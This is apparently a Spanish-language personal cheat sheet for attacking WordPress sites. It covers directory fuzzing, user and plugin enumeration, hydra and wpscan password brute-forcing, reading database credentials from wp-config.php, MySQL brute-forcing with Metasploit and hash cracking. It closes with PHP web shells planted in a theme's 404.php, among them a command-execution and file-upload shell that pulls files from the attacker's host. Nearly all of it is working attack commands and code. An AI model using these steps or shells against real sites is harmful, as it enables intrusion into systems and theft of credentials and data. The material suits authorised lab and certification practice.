

Hacking Wordpress

Indice:

Parte 1:

- Rutas wordpress peligrosas
- Fuerza Bruta de URL
- Enumerar Wordpress con nmap
- Enumerar usuarios y plugins vulnerables de WordPress
- Enumerar usuarios de WordPress con hydra
- Fuerza Bruta y Otros escaneos
- Desactivar SSL--> Usar parámetro --> --disable-tls-checks
- API REST WORDPRESS
- POST EXPLOTACIÓN WORDPRESS (wp-config.php y mysql)
- Fuerza Bruta mysql (cuando solo tenemos user, sin password)
- Cracking Passwords Wordpress

Parte 2:

- ENUMERACION BÁSICA WORDPRESS S4VITAR
 - Generar mi propio diccionario personalizado en base a la web con cewl
 - PHP Reverse Shell Manual Multifuncional (Ejecutar comandos y subir archivos)
-

[+] Wordpress

[+] Rutas wordpress peligrosas

-Probar rutas como :

```
/wp-admin  
/robots.txt  
/wp-content/plugins  
/wp-config.php  
/xmlrpc.php  
/wp-content/uploads
```

-Si tiene el xmlrpc.php activo, podemos realizar ataques (No contemplado aquí).

[+] Fuerza bruta de URL

```
wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u  
http://192.168.122.125:8080/FUZZ
```

(Añadiendo / al final)

```
wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u  
http://192.168.122.125:8080/FUZZ/
```

[+] Enumerar WordPress con nmap

Ejemplo de escaneo con argumentos, donde se encuentra la URL base para la instalación de WordPress `http://domain.tld/webservices/wp/` y enumerando todos los complementos, además de obtener los últimos datos de complementos de WordPress.

```
sudo nmap -p80 -T4 -Pn -sC --script http-wordpress-enum --script-args http-wordpress-enum.root="/webservices/wp/",http-wordpress-enum.search-limit="all",http-wordpress-enum.check-latest="true" domain.tld
```

[+] Enumerar usuarios y plugins vulnerables de WordPress:

(Se recomienda realizar el escaneo con el API TOKEN de Wordpress)

(Añadimos enumeración agresiva de plugins)

(Debemos registrarnos en <https://wpscan.com/register>, para usar el TOKEN)

```
wpscan --url http://192.168.111.38/blog/ --enumerate u,vp --plugins-detection aggressive --api-token=XXXXXXXXXXXXXXXXXXXX
```

[+] Enumerar usuarios de WordPress con hydra

-Lista de usuarios y rockyou:

```
sudo hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 10.10.10.10 http-form-post "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username"
```

-En caso de no conocer contraseña pero si un usuario:

```
sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 http-form-post "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username"
```

(Aquí pondré el mensaje de error que devuelve WP)

-Con usuario y contraseña:

```
sudo hydra -L users.txt -p contraseña123 10.10.10.10 http-form-post "/wp-  
login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username"
```

[+] WPScan :

-Ejemplo de escaneo con argumentos, donde se encuentra la URL base para la instalación de WordPress `http://domain.tld/webservices/wp/` y se enumeran 100 posibles usuarios.

```
sudo nmap -p80 -T4 -Pn -sC --script http-wordpress-users --script-args http-wordpress-  
users.basepath="/webservices/wp/",http-wordpress-users.limit="100" domain.tld
```

[+] WPScan y otros escaneos:

Fuerza bruta con WPSCAN -----

-Teniendo usuarios usaremos 'wpscan' para hacer un ataque de fuerza bruta:
(Éste ataque no se realiza sobre el panel de login de 'wp-admin' sino en el '/xmlrpc.php')

```
$ wpscan --url http://10.10.141.122:80 -U kwheel -P /usr/share/wordlists/rockyou.txt
```

(Comienza a probar passwords para ése usuario....)

(Si no encuentra podemos probar los otros usuarios) (al poner los usuarios los pongo con miníscula todas)

Desactivar SSL--> Usar parámetro --> --disable-tls-checks

Así:

```
wpscan --url http://192.168.111.38/blog/ --disable-tls-checks --enumerate u,vp --plugins-  
detection aggressive -o wpscan.txt
```

[+] Otros escaneos:

```
# Nikto  
nikto -h http://10.11.1.111
```

```
# Nikto with squid proxy
```

```
nikto -h 10.11.1.111 -useproxy http://10.11.1.111:4444
```

```
# CMS Explorer
```

```
cms-explorer -url http://10.11.1.111 -type [Drupal, WordPress, Joomla, Mambo]
```

```
# Wordpress Techniques
```

```
Ref: Maria, Fail, Shenzi, Nukem
```

```
https://www.hackingarticles.in/wordpress-reverse-shell/
```

```
http://192.168.137.167/wp-content/themes/twentynineteen/404.php # Url to execute reverse shell
```

Note: Use 'grep -R backup_scripts 2>/dev/null' to look for cron related directories.

```
# WPScan (vp = Vulnerable Plugins, vt = Vulnerable Themes, u = Users)
```

```
wpscan --url http://10.11.1.111
```

```
wpscan --url http://10.11.1.111 --enumerate vp
```

```
wpscan --url http://192.168.221.167/ -e u,ap --plugins-detection aggressive
```

```
wpscan --url http://10.11.1.111 --enumerate vt
```

```
wpscan --url http://10.11.1.111 --enumerate u
```

```
wpscan -e --url https://url.com
```

```
# Con Api Token:
```

```
# (Detecta más)
```

```
wpscan --url http://192.168.221.167/ -e u,ap --plugins-detection aggressive --api-token=(API de WPSCAN)
```

```
wpscan --url http://10.11.1.111 --enumerate vp,u --api-token=(API de WPSCAN)
```

Check IP behind WAF:

```
https://IP.com/2020/01/22/discover-cloudflare-wordpress-ip/
```

```
pingback.xml:
```

```
<?xml version="1.0" encoding="iso-8859-1"?>
```

```
<methodCall>
```

```
<methodName>pingback.ping</methodName>
```

```
<params>
```

```
<param>
```

```
<value>
```

```
<string>http://10.0.0.1/hello/world</string>
```

```
</value>
```

```
</param>
```

```
<param>
```

```
<value>
```

```
<string>https://IP.com/2020/01/22/hello-world/</string>
```

```
</value>
```

```
</param>
```

```
</params>
```

```
</methodCall>
```

```
curl -X POST -d @pingback.xml https://ip.com/xmlrpc.php
```

Enum User:

```
for i in {1..50}; do curl -s -L -i https://ip.com/wordpress/?author=$i | grep -E  
-o "Location:.*" | awk -F/ '{print $NF}'; done
```

[+] API REST WORDPRESS:

-El `nmap` script no siempre me ha funcionado. Otra opción es usar la API REST para enumerar usuarios.

Get the first 100 users from the API

Results should be paginated when dealing with large quantities of results

```
curl -s http://domain.tld/index.php/wp-json/wp/v2/users?per_page=100&page=1
```

Get the next 100 users from the API

Query page 2 of the results

```
curl -s http://domain.tld/index.php/wp-json/wp/v2/users?per_page=100&page=2
```

Get the first 100 users from the API

Results should be paginated when dealing with large quantities of results

```
curl -s http://domain.tld/index.php/wp-json/wp/v2/users?per_page=100&page=1
```

Get the next 100 users from the API

Query page 2 of the results

```
curl -s http://domain.tld/index.php/wp-json/wp/v2/users?per_page=100&page=2
```

[+] POST EXPLOTACIÓN WORDPRESS:

wp-config.php -----

-Buscaremos el archivo de configuración de wordpress:

```
www-data@aragog:~$> find / -type f -name "wp-config.php"
```

(Suele mostrar usuario y contraseña, con la que nos podremos conectar a la base de datos:)

[+] Conexión con MySQL -----

MANERA 1: (Normal)

-Nos conectaremos con mysql:

```
www-data@aragog:~$> mysql -u root -p -h 10.0.2.12
Password: mySecr3tPass (En este caso ya dimos con la contraseña, pero en caso de NO
TENERLA, podemos probar : vacio y dando a ENTER o con password, root, admin,
admin123..)
MariaDB >
```

MANERA 2:

```
www-data@aragog:~$> mysql -u root -p
password: mySecr3tPass
```

[+] Fuerza Bruta mysql (cuando solo tenemos user, sin password):

MANERA 1: Desde msfconsole:

```
$ msfconsole
msf6 > search mysql_login
0 auxiliary/sccanner/mysql/mysql_login
msf6 > use 0
msf6 > set verbose false
msf6 > set rhosts 10.0.2.12 (victima)
msf6 > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
msf6 > run
```

MANERA 2: Con Hydra

```
$ hydra -l root -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
mysql://10.0.2.12
```

-Una vez accedemos:

(Al poner la contraseña con el metodo 1 normal:)

¡Estamos dentro de la base de datos! , ahora inspeccionaremos las tablas y columnas para ver credenciales..

```
MariaDB > show databases;
MariaDB > use wordpress;
MariaDB (wordpress) > show tables;
MariaDB (wordpress) > select * from wp_users;
```

(Vemos una contraseña que podemos tratar de crackear)

[+] Cracking Passwords Wordpress:-----

-Guardamos la contraseña en un nuevo archivo 'hash' , y trataremos de crackearlo con rockyou:

```
john -w:/usr/share/wordlists/rockyou hash
```

[+] ENUMERACION BÁSICA WORDPRESS S4VITAR

(Información obtenida del github de s4vitar)

Sobre este gestor de contenidos, la idea es verificar en primer lugar si a través del recurso *README.html* podemos visualizar la versión del CMS. De esta forma, posteriormente desde **Searchsploit** podemos buscar vulnerabilidades para dicha versión.

En caso de no poder visualizar la versión, nos aprovechamos de la herramienta **wpscan** para a través de la siguiente sintaxis obtener el versionado del gestor:

```
$~ wpscan -u "http://192.168.1.x"
```

En caso de que la web principal del gestor de contenido se encuentre en otra ruta personalizada, por ejemplo **/directorio-wordpress/**, deberemos especificarlo a través del parámetro **--wp-content-dir** para la correcta enumeración desde **wpscan**:

```
$~ wpscan -u "http://192.168.1.x" --wp-content-dir "directorio-wordpress"
```

En ocasiones, podremos enumerar los usuarios existentes sobre el gestor, empleando para ello la siguiente sintaxis:

```
$~ wpscan -u "http://192.168.1.x" --enumerate u
```

En caso de que el gestor de contenidos cuente con un plugin que bloquee la enumeración de usuarios, podemos hacer uso de la utilidad **stop_user_enumeration_bypass.rb** de *wpscan* (*/usr/share/wpscan/stop_user_enumeration_bypass.rb*). La sintaxis sería la siguiente:

```
$~ ruby stop_user_enumeration_bypass.rb http://192.168.1.x
```

Tras obtener usuarios válidos de autenticación, podemos probar a realizar a un ataque de fuerza bruta haciendo uso de la siguiente sintaxis:

```
$~ wpscan -u "http://192.168.1.x" --username usuario -w /usr/share/wordlists/rockyou.txt
```

Una forma de bypassear posibles bloqueos es jugar con el parámetro **--random-agent**, de la siguiente forma:

```
$~ wpscan -u "http://192.168.1.x" --username usuario -w /usr/share/wordlists/rockyou.txt --random-agent
```

La herramienta **wpscan** es capaz de detectar los plugins instalados sobre el gestor, los cuales también pueden abrir un posible vector de ataque que permita la ejecución de comandos en remoto y variados. Sin embargo, por prevención siempre me gusta fuzzear los plugins haciendo uso del siguiente **recurso** de SecList.

En caso de no obtener o poder enumerar usuarios válidos de autenticación, estos gestores de contenido suelen exponer el usuario propietario de los artículos o entradas que figuren expuestos sobre la página principal. De esta forma, podemos llegar a extraer usuarios válidos de autenticación simplemente visualizando quién es el autor de las entradas publicadas.

[+] Generar mi propio diccionario personalizado en base a la web

Teniendo un usuario válido de autenticación, a la hora de aplicar la fuerza bruta, antes de lanzar diccionarios tradicionales como el **rockyou.txt**, suelo hacer uso de la herramienta **cewl** para generar mi propio diccionario personalizado en base a la web con la que estoy tratando. Esto se consigue con la siguiente sintaxis:

```
cewl -w diccionario http://192.168.1.x
```

Así mismo, una vez se logra acceder al gestor de contenidos, la intrusión al sistema es la parte más sencilla. Simplemente en la sección de Apariencia, en la pestaña Editor nos vamos al script **404.php** configurado para llevar a cabo una modificación, subiendo nuestro propio código PHP malicioso que permita entablarnos una conexión reversa contra el sistema.

Para apuntar a dicho script tenemos 3 vías:

- <http://192.168.1.x/?p=404.php>
- <http://192.168.1.x/recursoinexistente> (Para causar un error que haga que se cargue el script 404.php)
- <http://192.168.1.x/404.php>

[+] PHP Reverse Shell Manual Multifuncional

La más típica de las ejecuciones vía PHP que nos podemos configurar es la siguiente:

```
<?php
    system('whoami');
?>
```

Pero esto dice mucho de nosotros, vamos a mejorar un poco las cosas. En vez de usar **system**, podemos usar **shell_exec**, más específico para la ejecución de comandos vía shell con retorno del output en formato string.

Esto se resume en la siguiente estructura:

```
<?php
    echo shell_exec('whoami');
?>
```

En caso de querer ejecutar comandos personalizados desde la URL, podemos definir una estructura como la siguiente:

```
<?php
    echo shell_exec($_REQUEST['cmd']);
?>
```

De manera que podríamos elaborar desde la URL la siguiente petición:

```
http://192.168.1.X/fichero.php?cmd=whoami
```

A la hora de ejecutar ciertos comandos como *'ps -faux'*, o un simple *'cat /etc/passwd'*, se puede ver como el Output mostrado vía web en este caso tiene un aspecto poco agradable de leer. Esto lo podemos arreglar añadiendo unas etiquetas de preformateado en nuestro script:

```
<?php
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

En caso de querer hacerlo **multifuncional**, podemos gestionar la variable proporcionada desde el usuario que hace la petición, donde para el caso presentado a continuación, además de ejecutar comandos a través de la variable *'fexec'*, creamos una nueva variable *'fupload'* para la transferencia de archivos desde nuestra máquina local a la máquina remota en el directorio de trabajo:

```
<?php
    if(isset($_REQUEST['fexec'])) {
        echo "<pre>" . shell_exec($_REQUEST['fexec']) . "</pre>";
    };

    if(isset($_REQUEST['fupload'])) {
        file_put_contents($_REQUEST['fupload'],
file_get_contents("http://127.0.0.1:8000/" . $_REQUEST['fupload']));
    };
?>
```

De esta forma, el usuario que hace las consultas podría efectuar cualquiera de las siguientes 3 operaciones:

- <http://192.168.1.X/fichero.php?fexec=whoami>
- <http://192.168.1.X/fichero.php?fupload=script.php>
- <http://192.168.1.X/fichero.php?upload=script.php&fexec=php+script.php>

Para depositar archivos sobre el sistema aprovechando la variable '*fupload*', necesitaremos compartir un servidor con Python perviamente sobre el directorio cuyos recursos queramos depositar sobre el equipo remoto.